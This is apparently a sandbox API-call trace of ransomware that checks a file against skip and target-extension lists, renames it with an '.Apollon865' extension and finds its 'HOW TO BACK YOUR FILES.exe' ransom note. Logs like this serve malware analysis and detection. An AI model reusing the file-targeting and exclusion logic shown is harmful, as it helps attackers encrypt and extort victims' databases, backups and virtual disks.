	[0054.590] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="pagefile.sys") returned -1
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="boot") returned -1
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="ids.txt") returned -1
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="ntuser.dat") returned -1
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="perflogs") returned -1
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="MSBuild") returned -1
	[0054.591] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0054.591] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 101
	[0054.591] lstrcpyW (in: lpString1=0x119e692, lpString2="94308059B57B3142E455B38A6EB92015" | out: lpString1="94308059B57B3142E455B38A6EB92015") returned="94308059B57B3142E455B38A6EB92015"
	[0054.591] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0054.591] lstrlenW (lpString="Apollon865") returned 10
	[0054.591] lstrcmpiW (lpString1="8A6EB92015", lpString2="Apollon865") returned -1
	[0054.591] lstrlenW (lpString=".dll") returned 4
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".dll") returned 1
	[0054.591] lstrlenW (lpString=".lnk") returned 4
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".lnk") returned 1
	[0054.591] lstrlenW (lpString=".ini") returned 4
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".ini") returned 1
	[0054.591] lstrlenW (lpString=".sys") returned 4
	[0054.591] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".sys") returned 1
	[0054.591] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0054.591] lstrlenW (lpString="bak") returned 3
	[0054.591] lstrcmpiW (lpString1="015", lpString2="bak") returned -1
	[0054.591] lstrlenW (lpString="ba_") returned 3
	[0054.591] lstrcmpiW (lpString1="015", lpString2="ba_") returned -1
	[0054.591] lstrlenW (lpString="dbb") returned 3
	[0054.591] lstrcmpiW (lpString1="015", lpString2="dbb") returned -1
	[0054.591] lstrlenW (lpString="vmdk") returned 4
	[0054.591] lstrcmpiW (lpString1="2015", lpString2="vmdk") returned -1
	[0054.591] lstrlenW (lpString="rar") returned 3
	[0054.591] lstrcmpiW (lpString1="015", lpString2="rar") returned -1
	[0054.591] lstrlenW (lpString="zip") returned 3
	[0054.591] lstrcmpiW (lpString1="015", lpString2="zip") returned -1
	[0054.592] lstrlenW (lpString="tgz") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="tgz") returned -1
	[0054.592] lstrlenW (lpString="vbox") returned 4
	[0054.592] lstrcmpiW (lpString1="2015", lpString2="vbox") returned -1
	[0054.592] lstrlenW (lpString="vdi") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="vdi") returned -1
	[0054.592] lstrlenW (lpString="vhd") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="vhd") returned -1
	[0054.592] lstrlenW (lpString="vhdx") returned 4
	[0054.592] lstrcmpiW (lpString1="2015", lpString2="vhdx") returned -1
	[0054.592] lstrlenW (lpString="avhd") returned 4
	[0054.592] lstrcmpiW (lpString1="2015", lpString2="avhd") returned -1
	[0054.592] lstrlenW (lpString="db") returned 2
	[0054.592] lstrcmpiW (lpString1="15", lpString2="db") returned -1
	[0054.592] lstrlenW (lpString="db2") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="db2") returned -1
	[0054.592] lstrlenW (lpString="db3") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="db3") returned -1
	[0054.592] lstrlenW (lpString="dbf") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="dbf") returned -1
	[0054.592] lstrlenW (lpString="mdf") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="mdf") returned -1
	[0054.592] lstrlenW (lpString="mdb") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="mdb") returned -1
	[0054.592] lstrlenW (lpString="sql") returned 3
	[0054.592] lstrcmpiW (lpString1="015", lpString2="sql") returned -1
	[0054.592] lstrlenW (lpString="sqlite") returned 6
	[0054.592] lstrcmpiW (lpString1="B92015", lpString2="sqlite") returned -1
	[0054.592] lstrlenW (lpString="sqlite3") returned 7
	[0054.592] lstrcmpiW (lpString1="EB92015", lpString2="sqlite3") returned -1
	[0054.592] lstrlenW (lpString="sqlitedb") returned 8
	[0054.592] lstrcmpiW (lpString1="6EB92015", lpString2="sqlitedb") returned -1
	[0054.592] lstrlenW (lpString="xml") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="xml") returned -1
	[0054.593] lstrlenW (lpString="$er") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="$er") returned 1
	[0054.593] lstrlenW (lpString="4dd") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="4dd") returned -1
	[0054.593] lstrlenW (lpString="4dl") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="4dl") returned -1
	[0054.593] lstrlenW (lpString="^^^") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="^^^") returned 1
	[0054.593] lstrlenW (lpString="abs") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="abs") returned -1
	[0054.593] lstrlenW (lpString="abx") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="abx") returned -1
	[0054.593] lstrlenW (lpString="accdb") returned 5
	[0054.593] lstrcmpiW (lpString1="92015", lpString2="accdb") returned -1
	[0054.593] lstrlenW (lpString="accdc") returned 5
	[0054.593] lstrcmpiW (lpString1="92015", lpString2="accdc") returned -1
	[0054.593] lstrlenW (lpString="accde") returned 5
	[0054.593] lstrcmpiW (lpString1="92015", lpString2="accde") returned -1
	[0054.593] lstrlenW (lpString="accdr") returned 5
	[0054.593] lstrcmpiW (lpString1="92015", lpString2="accdr") returned -1
	[0054.593] lstrlenW (lpString="accdt") returned 5
	[0054.593] lstrcmpiW (lpString1="92015", lpString2="accdt") returned -1
	[0054.593] lstrlenW (lpString="accdw") returned 5
	[0054.593] lstrcmpiW (lpString1="92015", lpString2="accdw") returned -1
	[0054.593] lstrlenW (lpString="accft") returned 5
	[0054.593] lstrcmpiW (lpString1="92015", lpString2="accft") returned -1
	[0054.593] lstrlenW (lpString="adb") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="adb") returned -1
	[0054.593] lstrlenW (lpString="adb") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="adb") returned -1
	[0054.593] lstrlenW (lpString="ade") returned 3
	[0054.593] lstrcmpiW (lpString1="015", lpString2="ade") returned -1
	[0054.594] lstrlenW (lpString="adf") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="adf") returned -1
	[0054.594] lstrlenW (lpString="adn") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="adn") returned -1
	[0054.594] lstrlenW (lpString="adp") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="adp") returned -1
	[0054.594] lstrlenW (lpString="alf") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="alf") returned -1
	[0054.594] lstrlenW (lpString="ask") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="ask") returned -1
	[0054.594] lstrlenW (lpString="btr") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="btr") returned -1
	[0054.594] lstrlenW (lpString="cat") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="cat") returned -1
	[0054.594] lstrlenW (lpString="cdb") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="cdb") returned -1
	[0054.594] lstrlenW (lpString="ckp") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="ckp") returned -1
	[0054.594] lstrlenW (lpString="cma") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="cma") returned -1
	[0054.594] lstrlenW (lpString="cpd") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="cpd") returned -1
	[0054.594] lstrlenW (lpString="dacpac") returned 6
	[0054.594] lstrcmpiW (lpString1="B92015", lpString2="dacpac") returned -1
	[0054.594] lstrlenW (lpString="dad") returned 3
	[0054.594] lstrcmpiW (lpString1="015", lpString2="dad") returned -1
	[0054.594] lstrlenW (lpString="dadiagrams") returned 10
	[0054.594] lstrcmpiW (lpString1="8A6EB92015", lpString2="dadiagrams") returned -1
	[0054.594] lstrlenW (lpString="daschema") returned 8
	[0054.594] lstrcmpiW (lpString1="6EB92015", lpString2="daschema") returned -1
	[0054.594] lstrlenW (lpString="db-journal") returned 10
	[0054.594] lstrcmpiW (lpString1="8A6EB92015", lpString2="db-journal") returned -1
	[0054.595] lstrlenW (lpString="db-shm") returned 6
	[0054.595] lstrcmpiW (lpString1="B92015", lpString2="db-shm") returned -1
	[0054.595] lstrlenW (lpString="db-wal") returned 6
	[0054.595] lstrcmpiW (lpString1="B92015", lpString2="db-wal") returned -1
	[0054.595] lstrlenW (lpString="dbc") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dbc") returned -1
	[0054.595] lstrlenW (lpString="dbs") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dbs") returned -1
	[0054.595] lstrlenW (lpString="dbt") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dbt") returned -1
	[0054.595] lstrlenW (lpString="dbv") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dbv") returned -1
	[0054.595] lstrlenW (lpString="dbx") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dbx") returned -1
	[0054.595] lstrlenW (lpString="dcb") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dcb") returned -1
	[0054.595] lstrlenW (lpString="dct") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dct") returned -1
	[0054.595] lstrlenW (lpString="dcx") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dcx") returned -1
	[0054.595] lstrlenW (lpString="ddl") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="ddl") returned -1
	[0054.595] lstrlenW (lpString="dlis") returned 4
	[0054.595] lstrcmpiW (lpString1="2015", lpString2="dlis") returned -1
	[0054.595] lstrlenW (lpString="dp1") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dp1") returned -1
	[0054.595] lstrlenW (lpString="dqy") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dqy") returned -1
	[0054.595] lstrlenW (lpString="dsk") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dsk") returned -1
	[0054.595] lstrlenW (lpString="dsn") returned 3
	[0054.595] lstrcmpiW (lpString1="015", lpString2="dsn") returned -1
	[0054.595] lstrlenW (lpString="dtsx") returned 4
	[0054.596] lstrcmpiW (lpString1="2015", lpString2="dtsx") returned -1
	[0054.596] lstrlenW (lpString="dxl") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="dxl") returned -1
	[0054.596] lstrlenW (lpString="eco") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="eco") returned -1
	[0054.596] lstrlenW (lpString="ecx") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="ecx") returned -1
	[0054.596] lstrlenW (lpString="edb") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="edb") returned -1
	[0054.596] lstrlenW (lpString="epim") returned 4
	[0054.596] lstrcmpiW (lpString1="2015", lpString2="epim") returned -1
	[0054.596] lstrlenW (lpString="fcd") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="fcd") returned -1
	[0054.596] lstrlenW (lpString="fdb") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="fdb") returned -1
	[0054.596] lstrlenW (lpString="fic") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="fic") returned -1
	[0054.596] lstrlenW (lpString="flexolibrary") returned 12
	[0054.596] lstrcmpiW (lpString1="B38A6EB92015", lpString2="flexolibrary") returned -1
	[0054.596] lstrlenW (lpString="fm5") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="fm5") returned -1
	[0054.596] lstrlenW (lpString="fmp") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="fmp") returned -1
	[0054.596] lstrlenW (lpString="fmp12") returned 5
	[0054.596] lstrcmpiW (lpString1="92015", lpString2="fmp12") returned -1
	[0054.596] lstrlenW (lpString="fmpsl") returned 5
	[0054.596] lstrcmpiW (lpString1="92015", lpString2="fmpsl") returned -1
	[0054.596] lstrlenW (lpString="fol") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="fol") returned -1
	[0054.596] lstrlenW (lpString="fp3") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="fp3") returned -1
	[0054.596] lstrlenW (lpString="fp4") returned 3
	[0054.596] lstrcmpiW (lpString1="015", lpString2="fp4") returned -1
	[0054.597] lstrlenW (lpString="fp5") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="fp5") returned -1
	[0054.597] lstrlenW (lpString="fp7") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="fp7") returned -1
	[0054.597] lstrlenW (lpString="fpt") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="fpt") returned -1
	[0054.597] lstrlenW (lpString="frm") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="frm") returned -1
	[0054.597] lstrlenW (lpString="gdb") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="gdb") returned -1
	[0054.597] lstrlenW (lpString="gdb") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="gdb") returned -1
	[0054.597] lstrlenW (lpString="grdb") returned 4
	[0054.597] lstrcmpiW (lpString1="2015", lpString2="grdb") returned -1
	[0054.597] lstrlenW (lpString="gwi") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="gwi") returned -1
	[0054.597] lstrlenW (lpString="hdb") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="hdb") returned -1
	[0054.597] lstrlenW (lpString="his") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="his") returned -1
	[0054.597] lstrlenW (lpString="ib") returned 2
	[0054.597] lstrcmpiW (lpString1="15", lpString2="ib") returned -1
	[0054.597] lstrlenW (lpString="idb") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="idb") returned -1
	[0054.597] lstrlenW (lpString="ihx") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="ihx") returned -1
	[0054.597] lstrlenW (lpString="itdb") returned 4
	[0054.597] lstrcmpiW (lpString1="2015", lpString2="itdb") returned -1
	[0054.597] lstrlenW (lpString="itw") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="itw") returned -1
	[0054.597] lstrlenW (lpString="jet") returned 3
	[0054.597] lstrcmpiW (lpString1="015", lpString2="jet") returned -1
	[0054.597] lstrlenW (lpString="jtx") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="jtx") returned -1
	[0054.598] lstrlenW (lpString="kdb") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="kdb") returned -1
	[0054.598] lstrlenW (lpString="kexi") returned 4
	[0054.598] lstrcmpiW (lpString1="2015", lpString2="kexi") returned -1
	[0054.598] lstrlenW (lpString="kexic") returned 5
	[0054.598] lstrcmpiW (lpString1="92015", lpString2="kexic") returned -1
	[0054.598] lstrlenW (lpString="kexis") returned 5
	[0054.598] lstrcmpiW (lpString1="92015", lpString2="kexis") returned -1
	[0054.598] lstrlenW (lpString="lgc") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="lgc") returned -1
	[0054.598] lstrlenW (lpString="lwx") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="lwx") returned -1
	[0054.598] lstrlenW (lpString="maf") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="maf") returned -1
	[0054.598] lstrlenW (lpString="maq") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="maq") returned -1
	[0054.598] lstrlenW (lpString="mar") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="mar") returned -1
	[0054.598] lstrlenW (lpString="marshal") returned 7
	[0054.598] lstrcmpiW (lpString1="EB92015", lpString2="marshal") returned -1
	[0054.598] lstrlenW (lpString="mas") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="mas") returned -1
	[0054.598] lstrlenW (lpString="mav") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="mav") returned -1
	[0054.598] lstrlenW (lpString="maw") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="maw") returned -1
	[0054.598] lstrlenW (lpString="mdbhtml") returned 7
	[0054.598] lstrcmpiW (lpString1="EB92015", lpString2="mdbhtml") returned -1
	[0054.598] lstrlenW (lpString="mdn") returned 3
	[0054.598] lstrcmpiW (lpString1="015", lpString2="mdn") returned -1
	[0054.598] lstrlenW (lpString="mdt") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="mdt") returned -1
	[0054.599] lstrlenW (lpString="mfd") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="mfd") returned -1
	[0054.599] lstrlenW (lpString="mpd") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="mpd") returned -1
	[0054.599] lstrlenW (lpString="mrg") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="mrg") returned -1
	[0054.599] lstrlenW (lpString="mud") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="mud") returned -1
	[0054.599] lstrlenW (lpString="mwb") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="mwb") returned -1
	[0054.599] lstrlenW (lpString="myd") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="myd") returned -1
	[0054.599] lstrlenW (lpString="ndf") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="ndf") returned -1
	[0054.599] lstrlenW (lpString="nnt") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="nnt") returned -1
	[0054.599] lstrlenW (lpString="nrmlib") returned 6
	[0054.599] lstrcmpiW (lpString1="B92015", lpString2="nrmlib") returned -1
	[0054.599] lstrlenW (lpString="ns2") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="ns2") returned -1
	[0054.599] lstrlenW (lpString="ns3") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="ns3") returned -1
	[0054.599] lstrlenW (lpString="ns4") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="ns4") returned -1
	[0054.599] lstrlenW (lpString="nsf") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="nsf") returned -1
	[0054.599] lstrlenW (lpString="nv") returned 2
	[0054.599] lstrcmpiW (lpString1="15", lpString2="nv") returned -1
	[0054.599] lstrlenW (lpString="nv2") returned 3
	[0054.599] lstrcmpiW (lpString1="015", lpString2="nv2") returned -1
	[0054.599] lstrlenW (lpString="nwdb") returned 4
	[0054.599] lstrcmpiW (lpString1="2015", lpString2="nwdb") returned -1
	[0054.600] lstrlenW (lpString="nyf") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="nyf") returned -1
	[0054.600] lstrlenW (lpString="odb") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="odb") returned -1
	[0054.600] lstrlenW (lpString="odb") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="odb") returned -1
	[0054.600] lstrlenW (lpString="oqy") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="oqy") returned -1
	[0054.600] lstrlenW (lpString="ora") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="ora") returned -1
	[0054.600] lstrlenW (lpString="orx") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="orx") returned -1
	[0054.600] lstrlenW (lpString="owc") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="owc") returned -1
	[0054.600] lstrlenW (lpString="p96") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="p96") returned -1
	[0054.600] lstrlenW (lpString="p97") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="p97") returned -1
	[0054.600] lstrlenW (lpString="pan") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="pan") returned -1
	[0054.600] lstrlenW (lpString="pdb") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="pdb") returned -1
	[0054.600] lstrlenW (lpString="pdm") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="pdm") returned -1
	[0054.600] lstrlenW (lpString="pnz") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="pnz") returned -1
	[0054.600] lstrlenW (lpString="qry") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="qry") returned -1
	[0054.600] lstrlenW (lpString="qvd") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="qvd") returned -1
	[0054.600] lstrlenW (lpString="rbf") returned 3
	[0054.600] lstrcmpiW (lpString1="015", lpString2="rbf") returned -1
	[0054.600] lstrlenW (lpString="rctd") returned 4
	[0054.601] lstrcmpiW (lpString1="2015", lpString2="rctd") returned -1
	[0054.601] lstrlenW (lpString="rod") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="rod") returned -1
	[0054.601] lstrlenW (lpString="rodx") returned 4
	[0054.601] lstrcmpiW (lpString1="2015", lpString2="rodx") returned -1
	[0054.601] lstrlenW (lpString="rpd") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="rpd") returned -1
	[0054.601] lstrlenW (lpString="rsd") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="rsd") returned -1
	[0054.601] lstrlenW (lpString="sas7bdat") returned 8
	[0054.601] lstrcmpiW (lpString1="6EB92015", lpString2="sas7bdat") returned -1
	[0054.601] lstrlenW (lpString="sbf") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="sbf") returned -1
	[0054.601] lstrlenW (lpString="scx") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="scx") returned -1
	[0054.601] lstrlenW (lpString="sdb") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="sdb") returned -1
	[0054.601] lstrlenW (lpString="sdc") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="sdc") returned -1
	[0054.601] lstrlenW (lpString="sdf") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="sdf") returned -1
	[0054.601] lstrlenW (lpString="sis") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="sis") returned -1
	[0054.601] lstrlenW (lpString="spq") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="spq") returned -1
	[0054.601] lstrlenW (lpString="te") returned 2
	[0054.601] lstrcmpiW (lpString1="15", lpString2="te") returned -1
	[0054.601] lstrlenW (lpString="teacher") returned 7
	[0054.601] lstrcmpiW (lpString1="EB92015", lpString2="teacher") returned -1
	[0054.601] lstrlenW (lpString="tmd") returned 3
	[0054.601] lstrcmpiW (lpString1="015", lpString2="tmd") returned -1
	[0054.601] lstrlenW (lpString="tps") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="tps") returned -1
	[0054.602] lstrlenW (lpString="trc") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="trc") returned -1
	[0054.602] lstrlenW (lpString="trc") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="trc") returned -1
	[0054.602] lstrlenW (lpString="trm") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="trm") returned -1
	[0054.602] lstrlenW (lpString="udb") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="udb") returned -1
	[0054.602] lstrlenW (lpString="udl") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="udl") returned -1
	[0054.602] lstrlenW (lpString="usr") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="usr") returned -1
	[0054.602] lstrlenW (lpString="v12") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="v12") returned -1
	[0054.602] lstrlenW (lpString="vis") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="vis") returned -1
	[0054.602] lstrlenW (lpString="vpd") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="vpd") returned -1
	[0054.602] lstrlenW (lpString="vvv") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="vvv") returned -1
	[0054.602] lstrlenW (lpString="wdb") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="wdb") returned -1
	[0054.602] lstrlenW (lpString="wmdb") returned 4
	[0054.602] lstrcmpiW (lpString1="2015", lpString2="wmdb") returned -1
	[0054.602] lstrlenW (lpString="wrk") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="wrk") returned -1
	[0054.602] lstrlenW (lpString="xdb") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="xdb") returned -1
	[0054.602] lstrlenW (lpString="xld") returned 3
	[0054.602] lstrcmpiW (lpString1="015", lpString2="xld") returned -1
	[0054.602] lstrlenW (lpString="xmlff") returned 5
	[0054.602] lstrcmpiW (lpString1="92015", lpString2="xmlff") returned -1
	[0054.603] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015.Apollon865") returned 112
	[0054.603] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015.Apollon865" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015.apollon865"), dwFlags=0x1) returned 1
	[0054.603] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015.Apollon865" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\94308059b57b3142e455b38a6eb92015.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.603] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=0) returned 1
	[0054.603] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0054.604] CloseHandle (hObject=0x0) returned 0
	[0054.604] CloseHandle (hObject=0x150) returned 1
	[0054.604] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e601530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.604] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.604] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e601530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0054.604] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.604] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a10
	[0054.604] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local"
	[0054.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5f20 | out: hHeap=0x580000) returned 1
	[0054.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a08 | out: hHeap=0x580000) returned 1
	[0054.604] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local") returned 30
